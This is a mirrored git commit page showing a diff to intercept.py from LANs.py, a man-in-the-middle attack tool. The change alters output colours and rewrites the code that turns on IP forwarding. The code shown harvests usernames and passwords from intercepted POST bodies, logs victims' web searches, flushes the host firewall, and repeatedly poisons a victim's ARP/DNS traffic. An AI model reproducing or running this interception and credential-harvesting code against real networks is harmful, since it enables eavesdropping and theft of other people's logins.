mirror of
https://github.com/DanMcInerney/LANs.py.git
synced 2025-07-11 23:57:07 -07:00
fixed ip forwarding
This commit is contained in:
parent
da7ba5468b
commit
8b2cfb8c9a
1 changed files with 12 additions and 15 deletions
27
intercept.py
27
intercept.py
|
@ -135,6 +135,9 @@ def URL(pkt):
|
||||||
headers = pkt
|
headers = pkt
|
||||||
body = ''
|
body = ''
|
||||||
|
|
||||||
|
#ADD HTML CHECKER THING HERE
|
||||||
|
|
||||||
|
|
||||||
header_lines = headers.split(r"\r\n")
|
header_lines = headers.split(r"\r\n")
|
||||||
for l in header_lines:
|
for l in header_lines:
|
||||||
searchHost = re.search('[Hh]ost: ', l)
|
searchHost = re.search('[Hh]ost: ', l)
|
||||||
|
@ -188,7 +191,7 @@ def URL(pkt):
|
||||||
|
|
||||||
if args.post and post:
|
if args.post and post:
|
||||||
if body != '':
|
if body != '':
|
||||||
print T+'[+] POST:',url,'HTTP POST load:',body+W
|
print B+'[+] POST:',url,'HTTP POST load:',body+W
|
||||||
username = re.findall('(([Ee]mail|[Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og)=([^&][^&]*))', body)
|
username = re.findall('(([Ee]mail|[Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og)=([^&][^&]*))', body)
|
||||||
password = re.findall('(([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp]assw)=([^&][^&]*))', body)
|
password = re.findall('(([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp]assw)=([^&][^&]*))', body)
|
||||||
for x in username:
|
for x in username:
|
||||||
|
@ -217,7 +220,7 @@ def URL(pkt):
|
||||||
if searched:
|
if searched:
|
||||||
searched = searched.group(3)
|
searched = searched.group(3)
|
||||||
searched = searched.replace('+', ' ').replace('%20', ' ').replace('%3F', '?').replace('%27', '\'').replace('%40', '@').replace('%24', '$').replace('%3A', ':').replace('%3D', '=').replace('%22', '\"').replace('%24', '$')
|
searched = searched.replace('+', ' ').replace('%20', ' ').replace('%3F', '?').replace('%27', '\'').replace('%40', '@').replace('%24', '$').replace('%3A', ':').replace('%3D', '=').replace('%22', '\"').replace('%24', '$')
|
||||||
print B + '[+] Searched %s for:' % host,searched + W
|
print T + '[+] Searched %s for:' % host,searched + W
|
||||||
|
|
||||||
host = None
|
host = None
|
||||||
get = None
|
get = None
|
||||||
|
@ -279,22 +282,17 @@ except:
|
||||||
sys.exit("Could not get MAC addresses")
|
sys.exit("Could not get MAC addresses")
|
||||||
|
|
||||||
#Forward packets and flush iptables
|
#Forward packets and flush iptables
|
||||||
#ADD THIS SOON *********************
|
ipfwd = Popen(['cat', '/proc/sys/net/ipv4/ip_forward'], stdout=PIPE, stderr=DN)
|
||||||
##if not getoutput('cat /proc/sys/net/ipv4/ip_forward') == '1':
|
if not ipfwd.communicate()[0] == '1':
|
||||||
# Msg('IPv4 forwarding disabled. Enabling..')
|
f = open('/proc/sys/net/ipv4/ip_forward', 'r+')
|
||||||
# tmp = getoutput('sudo sh -c \'echo "1" > /proc/sys/net/ipv4/ip_forward\'')
|
f.write('1')
|
||||||
# if len(tmp) > 0:
|
f.close()
|
||||||
# Error('Error enabling IPv4 forwarding.')
|
print '[+] Enabled IP forwarding'
|
||||||
# sys.exit(1)
|
|
||||||
|
|
||||||
f = open('/proc/sys/net/ipv4/ip_forward', 'r+')
|
|
||||||
f.write('1')
|
|
||||||
f.close()
|
|
||||||
Popen(['iptables', '-F'], stdout=PIPE, stderr=DN)
|
Popen(['iptables', '-F'], stdout=PIPE, stderr=DN)
|
||||||
Popen(['iptables', '-t', 'nat', '-F'], stdout=PIPE, stderr=DN)
|
Popen(['iptables', '-t', 'nat', '-F'], stdout=PIPE, stderr=DN)
|
||||||
Popen(['iptables', '-X'], stdout=PIPE, stderr=DN)
|
Popen(['iptables', '-X'], stdout=PIPE, stderr=DN)
|
||||||
Popen(['iptables', '-t', 'nat', '-X'], stdout=PIPE, stderr=DN)
|
Popen(['iptables', '-t', 'nat', '-X'], stdout=PIPE, stderr=DN)
|
||||||
print '[+] Enabled IP forwarding and flushed the firewall\n'
|
print '[+] Flushed the firewall\n'
|
||||||
|
|
||||||
def main():
|
def main():
|
||||||
|
|
||||||
|
@ -346,6 +344,5 @@ def main():
|
||||||
poison(DNSsrvr, victimIP)
|
poison(DNSsrvr, victimIP)
|
||||||
time.sleep(1.5)
|
time.sleep(1.5)
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
main()
|
main()
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue